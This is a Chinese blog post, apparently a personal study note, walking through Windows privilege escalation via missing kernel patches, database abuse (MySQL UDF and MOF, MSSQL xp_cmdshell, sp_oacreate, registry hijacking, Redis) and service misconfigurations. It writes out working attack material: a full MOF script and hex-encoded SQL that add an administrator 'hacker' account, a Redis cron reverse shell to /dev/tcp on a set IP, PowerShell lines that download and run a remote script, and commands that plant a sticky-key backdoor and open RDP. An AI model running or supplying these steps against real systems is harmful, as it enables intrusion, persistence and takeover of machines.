随笔 - 20  文章 - 0  评论 - 0  阅读 - 2745

windows提权 (系统内核溢出漏洞提权,数据库提权,错误的系统配置提权)

在Windows中,权限大概分为四种:
User:普通用户权限,默认不允许修改系统的设置或用户资料
Administrator:管理员权限,可以利用Windows的机制将自己提升为System权限
System:系统权限,可以对SAM等敏感文件进行读取
TrustedInstaller:最高权限,不涉及,作用于系统文件
提升权限(也称提权)的方式分为以下两类:
纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权,拥有了管理员权限
横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限
提权方法:
系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
Web中间件漏洞提权
DLL劫持提权
滥用高权限令牌提权
第三方软件/服务提权

系统内核溢出提权

系统内核溢出漏洞提权是一种通用的提权的方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁。
存在局限性:如果目标系统的补丁更新工作较为迅速和完善,那么攻击者要想通过这种方法提权,就必须找出目标系统中的 0day漏洞.
存在四种发现缺少补丁方法

方法一:手动执行命令
先获取目标系统的一个普通用户的shell(common shell),之后进入目标机当前shell进程下。
然后下面两个代码任选其一输入,可以了解系统信息

systeminfo//(Windows中用于显示关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,如 RAM、磁盘空间和网卡和补丁信息等。)
wmic qfe get Caption, Description, HotFixID, InstalledOn  //补丁的名称、介绍、ID、安装时间

得到结果补丁
攻击者利用方式:寻找提权的EXP,将已安装的补丁编号与提权的EXP进行对比,使用不在目标机里的编号EXP进行提权
寻找特定的补丁编号:(存在便显示)

wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB3143141" /C:"KB2999226"

方法二:msf 后渗透模块 post
先将 shell 中断,将程序放置后台(挂起)。输入 ctrl + z, 结果是可以看到session 还是存在的。
msf使用post后渗透模块,查询目标机补丁信息

use post/windows/gather/enum_patches

通过show options 设置属性值,渗透成功后得到目标机信息

方法三:Windows Exploit Suggester
Windows-Exploit-Suggester是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。该工具截止到2017年已经不更新维护。
注意:
安装xlrd库,安装时指定xlrd库版本为1.2.0
该脚本仅可以在python2环境下使用
下载&使用

# 安装xlrd==1.2.0
# 注:xlrd高版本不支持xlsx,会导致脚本报错,务必使用如下脚本
pip install xlrd==1.2.0
# 下载脚本&初始化环境
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
python2 windows-exploit-suggester.py --update

登录到目标机器,执行systeminfo命令,并复制回显内容,保存到本机systeminfo.txt。
执行命令,分析systeminfo.txt文件,给出漏洞建议。

python2 windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo systeminfo.txt

方法四:PowerShell中的 Sherlock脚本
Sherlock 脚本下载地址:https://github.com/rasta-mouse/Sherlock
作用:快速查找可能用于本地权限提升的漏洞
MS10-015 : User Mode to Ring (用户模式到环 )(KiTrap0D)
MS10-092 : Task Scheduler (任务计划程序)
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow (内核池溢出)
MS13-081 : TrackPopupMenuEx Win32k NULL Page (Null 页面)
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference (空指针接触引用)
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow (字体驱动程序缓冲区溢出)
MS16-016 : 'mrxdav.sys' WebDAV
MS16-032 : Secondary Logon Handle (辅助登录句柄)
MS16-034 : Windows Kernel-Mode Drivers EoP (内核模式驱动程序 EoP)
MS16-135 : Win32k Elevation of Privilege (特权提升)
CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
在系统的 Shell 环境下,调用 Sherlock 脚本。可以搜索单个漏洞,也可以搜索所有未安装的补丁。

import-module 脚本下载地址(Sherlock.ps1)
Find-AllVulns
Find-MS10015

sherlock 脚本只是寻找漏洞,而不是利用,因此经常配合其它渗透工具使用,如 cobalt strike

数据库提权

模拟环境我们拿到了一个普通用户的权限,在系统溢出漏洞无果的情况下,可以采用数据库进行提权,除了access数据库外,其他数据库基本都存在数据库提权 (注意:因为 access数据库只是一种 网页文档的形式,与其他数据库不一样,除此以外还有一些其他的区别,所以并不适用于数据库提权)
适用数据库提权的条件如下:
1、确认目标开放了数据库服务
2、知道数据库最高权限的密码.例如mysql数据库,就是root账户的密码

信息嗅探

当然在使用数据库提权前我们还是要进行一些简单的信息收集,来完成提权操作
1、端口
我们可以先通过查看目标开放的端口来判断目标是否开放了数据库服务,这里给大家列出了常见的几个数据库与默认对应端口,如下

3306 mysql 默认端口 
1433 mssql默认端口
1521 oracle默认端口
6379 redis默认端口 

当端口探测中发现目标开启的服务中有这几个就可以暂时初步判定目标开启了数据库服务
2、服务
如果无法进行端口探测时也可以进行服务探测,如果目标开启了数据库,那么对应的服务项也会启动,当你探测到数据库服务开启时,也可以尝试使用数据库提权
下面是几种常见的数据库服务:
mysql
mssql
oracle
redis

密码收集:

上面提到了使用数据库提权需要知道数据库最高权限的密码,那这个密码该怎么找呢?下面来介绍几种方式
1.配置文件
使用过数据库的同学都知道,网站部署数据库时需要带有 数据库连接信息,包含账密,连接端口,数据库名,ip地址等,如果找到这个文件那密码自然不在话下
例如phpstudy的连接文件如下

下面列出一些常见数据库的连接文件名,如下
sql
data
inc
config
conn
database
common

2、存储文件
数据库基本都有自带的密码文件,例如mysql自带的密码文件路径如下
网站路径/MYSQL/data
该目录下的文件名就是数据库对应的库名,里面后缀为.MYD的就是数据文件
例如user.MYD就是mysql库的user表的信息

3、暴力破解
[1]、远程爆破
通过xhray等等工具爆破,此时需要数据库允许外部连接
[2]、本地爆破
若目标没有开启数据库外连,就可以尝试上传本地爆破程序,此时爆破目标的ip就变成了127.0.0.1,也就是localhost

4、其他
还有的就是一些社工手段,弱口令等方式拿到密码

提权姿势

1、mysql
[1]、UDF提权

UDF就是User Defined Functions,通俗来讲就是用户可 自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。 
简单来说便是利用 提权脚本放到对方 mysql指定的目录下,运用脚本创建自定义函数, 使用函数即可获取shell权限。 

而提权脚本怎么拿呢?
sqlmap相信很多同学都有,在sqlmap\data\udf\mysql\windows路径下就有32位和64位的这个提权脚本,每个文件夹下都是一个dll文件,这个文件就是加密过的提权脚本
详细步骤
1、准备提权脚本
加密提权脚本是因为sqlmap怕这个提权脚本被查杀,要使用的时候再用sqlmap自带的解密文件解密 ,解密步骤如下:

选择指定版本(32位或者64位)的加密脚本文件
复制选择好的脚本文件(dll_文件)到sqlamp/extra/cloak

打开cmd执行以下命令进行解密

python cloak.py -d -i lib_mysqludf_sys.dll_

解密后就会生成一个dll文件,这就是我们要使用的提权脚本
2、上传到利用目录
在mysql<5.1 他的udf利用目录是在 c:/windwos或者 system32
在mysql=>5.1 他的udf利用目录是在 /lib/plugin
如果发现lib目录下面没有plugin,可以直接新建一个,再把刚才的提权脚本上传到该目录下
3、执行恶意命令
连接目标数据库执行以下命令

create function sys_eval returns string soname "udf.dll";

如果执行成功,即结果为true就说明没问题,然后就可以使用下面的格式执行命令

select sys_eval("要执行的命令");

然后可以看到已经得到了administrator权限,因为部署数据库时就是使用admin权限来部署的,如果部署数据库是system权限,那么拿到的也会是system权限

[2]、MOF提权
MOF提权适用于2003server
条件:数据库开启了允许导入导出的配置
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
mof脚本如下:

#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

在操作数据库执行如下命令(采用了编码),将mof文件导入C:/Windows/system32/wbem/mof/ 目录下

mysql >select0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0Aintodumpfile"C:/windows/system32/wbem/mof/test.mof";

成功后会在机器上生成一个users的用户,密码为hacker.
注意:执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
Msf对应攻击模块名:exploit/windows/mysql/mysql_mof

[3]、启动项提权
条件:
1、数据库开启了写入文件的配置
2、数据库允许外连
利用也比较简单,就是利用mysql写入恶意木马到启动项目录,当用户启动系统时就会自动加载素有启动项内容,自然也就执行了我们的恶意程序,拿到权限
注意:windows server 启动项目录 C:/programdata/microsoft/windows/start menu/programs/startup/
Msf对应利用模块: exploit/windows/mysql/mysql_start_up

[4]、反弹shell
和UDF一样,用nc反弹shell命令即可
就是先做一个反弹shell的php脚本文件,上传后执行,再用nc监听反弹的权限

2、mssql
[1]、xp_cmdshel
sql server 2000 版本是默认开启了xp_cmdshell
在sql server 2005之后的版本就是默认禁止。这个时候就需要 管理员sa权限才能开启
xp_cmdshell可以理解为sql server的一个函数,使用步骤如下:

开启xp_cmdshell(高版本可省去这一步)
操作数据库执行以下命令:

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

执行恶意命令

这里就相当于已经拿到权限了,直接按如下格式执行命令即可

exec master.dbo.xp_cmdshell '命令'

[2]、sp_oacreate
sp_oacreate和上面的xp_cmdshell没啥区别,都可以理解为函数,组件,只是利用的命令不同而已,如下
打开sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

执行恶意命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'

上面这个语句就是执行whoami命令,将结果输出到c盘下的1.txt中(因为这种用法不会在当前回显)

[3]、沙盒模式
这个就是利用sql server上的沙盒模式,原理很复杂,但是利用过程比较简单,也是几条命令,照着我的命令敲就行了,如下
提权命令

exec sp_configure 'show advanced options',1;reconfigure;

不开启的话在执行xp_regwrite会提示让我们开启

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

执行系统命令,创建margin用户,密码为margin

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

再来看看用户是否创建成功
net user
可以看到已经有margin用户了,而margin用户的权限也是高权限
[4]、映像劫持
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
前提条件:
1.未禁止注册表编辑(即写入功能)
2.xp_regwrite启用

1)查看xp_regwrite是否启用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite开启与关闭

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

3)利用regwrite函数修改组注册表进行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

4)查看是否修改成功文件

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

在目标主机上查看,结果一致

5)验证是否成功
连按5次粘滞键,弹出cmd框
拓展:
上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作
删除指定注册表键值对
删除粘滞键的键值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'

开启3389端口,这里的xp_regwrite为向注册表中写数据

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
​
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

3、oracle
oracle提权有一款专门的工具,叫做oracleshell
有普通,dba,注入三种,选择自己获得的权限,输入ip,用户名,密码,端口等直接连接就可以了,非常方便

4、redis
这个一般是用计划任务反弹shell来进行提权操作,按照如下步骤输入命令即可
建立计划任务(ip为自己的ip,端口为接收权限的端口)

set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.1.111/6666 0<&1 2>&1\n"

将计划任务放到定时任务下

config set dir /var/spool/cron/

设置以root用户的身份执行该任务

config set dbfilename root

保存

save

再用nc监听6666端口即可,上面的kali反弹ip和端口需要

最后再提一下,数据库提权方式尽量是在 其他提权方式无果后再进行尝试

错误的系统配置提权

windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权

powerup
powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
三种加载方式

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

msf(service_permissions)模块
使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。

exploit/windows/local/service_permissions
show options
set session 2

注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件

可信任服务路径漏洞
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:C:Program FilesSome FolderService.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。
msf对应trusted_service_path模块

自动安装配置文件
网络管理员在内网中给多台计算器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等等可以执行一下命令搜索Unattend.xml文件,msf对应post/windows/gather/enum_unattend模块

计划任务
schtasks /query /fo LIST /v

参考文献:https://blog.csdn.net/qq_63844103/article/details/128951265
https://blog.csdn.net/weixin_54648419/article/details/121691028
https://blog.csdn.net/weixin_53639243/article/details/138127663

posted on   m0userathxy  阅读(146)  评论(0编辑  收藏  举报

点击右上角即可分享
微信分享提示